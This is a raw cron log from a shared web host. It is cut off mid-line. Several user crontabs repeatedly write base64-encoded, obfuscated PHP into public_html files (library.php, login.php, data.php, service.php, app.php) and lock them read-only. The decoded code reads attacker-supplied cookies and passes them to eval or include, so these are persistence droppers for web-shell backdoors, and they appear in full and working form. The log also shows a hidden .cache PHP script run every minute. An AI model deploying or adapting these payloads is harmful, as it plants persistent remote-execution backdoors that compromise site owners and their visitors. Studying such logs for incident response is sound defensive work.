Mar  2 16:02:02 medusa CROND[8879]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:02:02 medusa CROND[8881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:02:02 medusa CROND[8882]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:02:02 medusa CROND[8883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:02:02 medusa CROND[8889]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:02:02 medusa CROND[8893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:02:02 medusa CROND[8897]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:02:02 medusa CROND[8898]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:02:02 medusa CROND[8904]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:02:02 medusa CROND[8906]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:02:02 medusa CROND[8908]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:02:02 medusa CROND[8909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:02:02 medusa CROND[8913]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:03:02 medusa CROND[27500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 16:03:02 medusa CROND[27503]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:03:02 medusa CROND[27504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:03:02 medusa CROND[27506]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:03:02 medusa CROND[27505]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:03:02 medusa CROND[27507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:03:02 medusa CROND[27508]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:03:02 medusa CROND[27514]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:03:02 medusa CROND[27515]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:03:02 medusa CROND[27517]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:03:02 medusa CROND[27516]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:03:02 medusa CROND[27522]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:04:01 medusa CROND[13177]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:04:01 medusa CROND[13350]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:04:01 medusa CROND[13388]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:04:01 medusa CROND[13461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:04:01 medusa CROND[13463]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLC